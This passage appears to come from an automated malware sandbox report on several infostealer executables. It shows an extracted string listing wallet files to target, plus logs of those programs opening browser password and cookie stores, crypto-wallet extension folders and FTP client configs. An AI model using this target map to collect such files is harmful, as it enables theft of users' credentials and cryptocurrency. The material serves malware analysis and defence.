Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
